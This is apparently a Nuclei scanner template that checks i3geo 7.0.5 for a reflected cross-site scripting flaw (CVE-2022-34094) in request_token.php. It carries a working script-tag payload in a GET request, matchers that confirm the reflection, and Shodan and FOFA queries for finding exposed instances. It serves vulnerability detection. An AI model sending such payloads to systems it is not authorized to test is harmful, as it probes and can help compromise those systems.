id: CVE-2022-34094

info:
  name: Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Portal do Software Publico Brasileiro i3geo v7.0.5 was discovered to contain a cross-site scripting (XSS) vulnerability via request_token.php.
  impact: |
    Attackers can inject malicious JavaScript through parameters in the LinkedIn OAuth request_token.php endpoint that executes in users' browsers, potentially stealing session tokens or performing unauthorized actions in the i3geo geographic information system.
  remediation: |
    Update i3geo to a version later than 7.0.5 that properly sanitizes and encodes user input in request_token.php.
  reference:
    - https://github.com/edmarmoretti/i3geo/issues/5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34093
    - https://owasp.org/www-community/attacks/xss/
    - https://softwarepublico.gov.br/social/i3geo
    - https://github.com/wagnerdracha/ProofOfConcept
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34094
    cwe-id: CWE-79
    epss-score: 0.01908
    epss-percentile: 0.83539
    cpe: cpe:2.3:a:softwarepublico:i3geo:7.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: softwarepublico
    product: i3geo
    shodan-query: http.html:"i3geo"
    fofa-query: body="i3geo"
  tags: cve2022,cve,i3geo,xss,softwarepublico,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/i3geo/pacotes/linkedinoauth/example/request_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "%3Cscript%3Ealert(document.domain)%3C/script%3E", "Invalid consumer key")'
        condition: and
# digest: 4a0a00473045022100c16c8eb77c87a51b746f4843be3133fac125934780c8bc37c4d154f5a96d5d9202202c866190576e5b132f5bf9944f29535d0121433a4a076a27076ea5f4a56d29b7:922c64590222798bb761d5b6d8e72950